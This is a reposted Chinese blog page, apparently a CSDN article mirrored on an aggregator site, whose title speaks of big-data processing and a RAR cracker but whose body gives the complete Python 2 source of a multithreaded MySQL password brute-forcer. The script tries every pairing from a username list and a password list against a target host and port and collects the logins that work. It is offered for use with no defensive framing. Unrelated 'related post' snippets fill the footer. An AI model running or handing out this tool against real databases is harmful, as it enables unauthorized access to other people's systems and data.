python处理亿级大数据(rar暴力破解器安卓版)

转载请注明出处:https://blog.csdn.net/l1028386804/article/details/85566045今天是2019年元旦,首先祝大家元旦快乐,在这个喜庆的日子里,不知道大家有没有坚持研究自己所在领域的知识。其实,每项知识、技能的积累,需要的是日复一日的坚持,正所谓——持之以恒,贵在坚持,这样才能做到每天进步一点点。好了,步入正题,今天,闲来无事,基于Python…

大家好,又见面了,我是你们的朋友全栈君。

转载请注明出处:https://blog.csdn.net/l1028386804/article/details/85566045

今天是2019年元旦,首先祝大家元旦快乐,在这个喜庆的日子里,不知道大家有没有坚持研究自己所在领域的知识。其实,每项知识、技能的积累,需要的是日复一日的坚持,正所谓——持之以恒,贵在坚持,这样才能做到每天进步一点点。好了,步入正题,今天,闲来无事,基于Python写了一个暴力破解MySQL的小工具,很简单,使用也很方便。这里,贴出完整的源代码,谨以此码祝大家元旦快乐:

#!/usr/bin/env python
# -*- coding: gbk -*-
# -*- coding: utf-8 -*-
# Date: 2019/01/01
# Created by 冰河
# Description MySQL暴力破解工具多线程版
# 博客 https://blog.csdn.net/l1028386804
import os, sys, re, socket, time
from functools import partial
from multiprocessing.dummy import Pool as ThreadPool

try:
    import MySQLdb
except ImportError:
    print '\n[!] MySQLdb模块导入错误,请到下面网址下载:'
    print '[!] http://www.codegood.com/archives/129'
    exit()


def usage():
    print '+' + '-' * 50 + '+'
    print '\t   Python MySQL暴力破解工具多线程版'
    print '\t   Blog:https://blog.csdn.net/l1028386804'
    print '\t\t Code BY: 冰河'
    print '\t\t Time:2019-01-01'
    print '+' + '-' * 50 + '+'
    if len(sys.argv) != 6:
        print "用法: " + os.path.basename(sys.argv[0]) + " 待破解的ip/domain 端口 数据库 用户名列表 密码列表"
        print "实例: " + os.path.basename(sys.argv[0]) + " 127.0.0.1  3306  test user.txt pass.txt"
        sys.exit()


def mysql_brute(user, password):
    "mysql数据库破解函数"
    db = None
    try:
        # print "user:", user, "password:", password
        db = MySQLdb.connect(host=host, user=user, passwd=password, db=sys.argv[3], port=int(sys.argv[2]))
        # print '[+] 破解成功:', user, password
        result.append('用户名:' + user + "\t密码:" + password)
    except KeyboardInterrupt:
        print '已成功退出程序!'
        exit()
    except MySQLdb.Error, msg:
        print '程序出错,错误信息为:', msg
        pass
    finally:
        if db:
            db.close()


if __name__ == '__main__':
    usage()
    start_time = time.time()
    if re.match(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', sys.argv[1]):
        host = sys.argv[1]
    else:
        host = socket.gethostbyname(sys.argv[1])
    userlist = [i.rstrip() for i in open(sys.argv[4])]
    passlist = [j.rstrip() for j in open(sys.argv[5])]
    print '\n[+] 目  标:%s \n' % sys.argv[1]
    print '[+] 用户名:%d 条\n' % len(userlist)
    print '[+] 密  码:%d 条\n' % len(passlist)
    print '[!] 密码破解中,请稍候……\n'
    result = []

    for user in userlist:
        partial_user = partial(mysql_brute, user)
        pool = ThreadPool(10)
        pool.map(partial_user, passlist)
        pool.close()
        pool.join()
    if len(result) != 0:
        print '[+] MySQL密码破解成功!\n'
        for x in {}.fromkeys(result).keys():
            print x + '\n'
    else:
        print '[-] MySQL密码破解失败!\n'
    print '[+] 破解完成,用时: %d 秒' % (time.time() - start_time)

最后,在新的一年的开始,冰河向大家推荐自己2012年研究过的两本逆向书籍,很实用的两本书,见下图:

python处理亿级大数据(rar暴力破解器安卓版)

python处理亿级大数据(rar暴力破解器安卓版)

 

 

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/128821.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • Linux的DNS配置[通俗易懂]

    Linux的DNS配置[通俗易懂]一,配置实验环境1,安装DNS服务yuminstallbind利用yum将DNS服务下载下来2,关闭防火墙3,重启DNS服务4,netstat-antlpe|grepnamed查看53接口是否打开,下图表示53接口未对本机打开:5,vim/etc/named.conf编辑dns配置文件,将接口打开:6,systemctlrestartnamed重启服务让修改生效7,netstat-ant…

    2025年5月27日
    3
  • Android Animation之ScaleAnimation用法详解[通俗易懂]

    Android Animation之ScaleAnimation用法详解[通俗易懂]ScaleAnimation用法详解ScaleAnimation是Animation的子类,其有四个构造方法:1、publicScaleAnimation(Contextcontext,AttributeSetattrs)方法的两个参数中context就不再解释了,上下文变量,attrs是属性集。一般很少利用该构造方法构造ScaleAnimation,因为还要在XML文件里

    2022年10月16日
    4
  • java 二维数组排序

    java 二维数组排序①使用Comparator生成一个比较器对象初始化数组:int[][]arr=newint[m][n];排序规则:先按数组的第一个元素进行升序排序,若第一个元素相等,则按照第二个元素进行升序排序。使用API:Arrays.sort()(T[]a,Comparator<?superT>c),该API根据给定的比较器(设定排序方式)对指定的数组进行排序。代码实现:Arrays.sort(arr,newComparator<int[]>(){

    2022年6月5日
    37
  • KNIME数据库扩展指南

    KNIME数据库扩展指南KNIME 数据库扩展指南介绍 KNIME 数据库扩展提供了一组 KNIME 节点 这些节点允许连接到 JDBC 兼容的数据库 这些节点位于 节点存储库 中的 数据库 类别中 您可以在其中找到许多数据库访问 操作和编写节点 数据库节点是每个 KNIMEAnalyti 安装的一部分 不需要安装任何其他的 KNIME 扩展 本指南描述了 KNIME 数据库扩展 并除其他外 展示了如何连接到数据库以及如何在数据库内部执行数据操作 外链图片转存失败 源站可能有防盗链机制 建议将图片保存下来直接上传

    2025年8月15日
    7
  • rk3399调试ov2659(camera模块@dvp接口)–移植过程

    rk3399调试ov2659(camera模块@dvp接口)–移植过程刚接手某款硬件,嵌入式开发者往往对硬件熟悉,而对实现硬件行为的软件及其软件框架不太熟。所以,我们一般从硬件拓扑图入手,分析数据流和硬件动作过程来熟悉或编写软件框架,并向该框架填充一些逻辑/业务代码来实现最终的驱动代码。

    2022年4月30日
    256
  • PyCharm切换Python版本

    PyCharm切换Python版本

    2021年10月22日
    45

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号